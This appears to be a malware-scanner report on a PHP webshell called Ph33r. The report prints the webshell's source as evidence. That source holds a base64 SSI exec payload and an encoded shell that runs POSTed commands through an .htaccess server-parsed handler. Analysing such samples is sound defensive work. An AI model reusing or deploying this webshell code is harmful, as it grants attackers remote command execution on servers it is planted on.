Hostile ^100% php-malware-analysis Download

create_ph33r.php

Ph33r webshell deployment

php webshell containing base64 encoded payloadCalls PHP fwrite()

SHA-2564e7fb50139f8ba67e3e1e88e8d0667a8425df53e44e63999a6ee59f5a92fc91a

Evidence

Encoded content decoded: base64 lines 1–27

1<?php
2        mkdir('Ph33r', 0755);
3        chdir('Ph33r');
4        $kokdosya = "htaccess";
5        $dosya_adi = "{$kokdosya}";
6        $dosya = fopen($dosya_adi, 'w') or die("Dosya a&#231;&#305;lamad&#305;!");
7        $metin = "AddHandler server-parsed .html .Ph33r";
8        fwrite($dosya, $metin);
9        fclose($dosya);
10        $sabolamer = 'dXNlckBOaW5qYS1TZWN1cml0eTp+CjwhLS0jZXhlYyBjbWQ9IiRIVFRQX0FDQ0VQVCIgLS0+';
11        $file = fopen("Ph33r.Ph33r", "w+");
12        $write = fwrite($file, base64_decode($sabolamer));
13        fclose($file);
14        $izobasbakan = 'PD9waHAKCiMgVVJMIFNTSQokdXJsUGgzID0gJ1BoMzNyLlBoMzNyJzsKCiAgICBmdW5jdGlvbiBz
15ZW5kKCR1cmxQaDMsJGNtZCkKICAgIHsKICAgICAgICBpZigkY3VybCA9IGN1cmxfaW5pdCgpKQog
16ICAgICAgIHsjIGJ5cGFzcyAyMDExCgkJICMgc2FmZV9tb2QgJiBQSFBTdUhvc2luICYgZGlzYWJs
17ZV9mdW5jdGlvbnMKCQkgIyBCeSBQaDMzcgogICAgICAgICAgICBjdXJsX3NldG9wdCgkY3VybCxD
18VVJMT1BUX1VSTCwgJHVybFBoMyk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENVUkxP
19UFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjdXJsLENV
20UkxPUFRfQ09OTkVDVFRJTUVPVVQsMzApOwoKICAgICAgICAgICAgJGhlYWRlcnMgPSBhcnJheSgi
21QWNjZXB0OiAiLiRjbWQpOwoKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9QVF9I
22VFRQSEVBREVSLCRoZWFkZXJzKTsKICAgICAgICAgICAgY3VybF9zZXRvcHQoJGN1cmwsQ1VSTE9Q
23VF9VUkwsJHVybFBoMyk7CiAgICAgICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGN1cmwpOwoKICAg
24ICAgICB9CiAgICAgICAgY3VybF9jbG9zZSgkY3VybCk7CiAgICB9CiAgICBwcmludCAnPGhlYWQ+
25Cjx0aXRsZT4gUGgzM3IgLSBieXBhc3MgMjAxMSBTU2kgPC90aXRsZT4KPHN0eWxlIHR5cGU9InRl
26eHQvY3NzIj4KLmF1dG8tc3R5bGUxIHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQouYXV0by1zdHls
27ZTIgew …

HTML form declares the POST method lines 36–42

36:14… y1zdHlsZTQiIC8+PGJyIC8+JzsKCXByaW50ICc8L2Rpdj4nOwogICAgcHJpbnQg
37JzwvZGl2Pgo8Zm9ybSBhY3Rpb249IiMiIG1ldGhvZD0icG9zdCI+Cgk8ZGl2IGNsYXNzPSJhdXRv
38LXN0eWxlMSI+JzsKCiAgICBwcmludCAkX1BPU1RbJ2NtZCddLic6IDxiciAvPic7CiAgICBwcmlu
39dCAnPHRleHRhcmVhIHdyYXA9Im9mZiIgc3R5bGU9IndpZHRoOiA2OTdweDsgaGVpZ2h0OiAyOTNw
40eCIgbmFtZT0iUGgzM3IiPicuIHNlbmQoJHVybFBoMywkX1BPU1RbJ2NtZCddKSAuJzwvdGV4dGFy
41ZWE+PGJyIC8+JzsKCiAgICBwcmludCAnPGlucHV0IG5hbWU9ImNtZCIgdHlwZT0idGV4dCIgdmFs
42dWU9InVuYW1lIC1hIj48YnIgLz4nOwoKICAgIHByaW50ICc8aW5wdXQgdHlwZT0 …

Encoded URL decoded to http(s) lines 43–46

43:14… 3IiPjxiciAvPic7CiAgICBwcmludCAnPC9kaXY+IDwvZm9ybT4KIDxhIGhyZWY9
44Imh0dHA6Ly9wZW50ZXN0LmVua24ubmV0L2Jsb2cucGhwIj4gCjxwIGNsYXNzPSJhdXRvLXN0eWxl
45MSI+TmluamEtU2VjdXJpdHkgdGVhbTxwPjwvYT4KPHAgY2xhc3M9ImF1dG8tc3R5bGUxIj4KPGZv
46bnQgY29sb3I9IiNGRjAwMDAiPjxiPkF …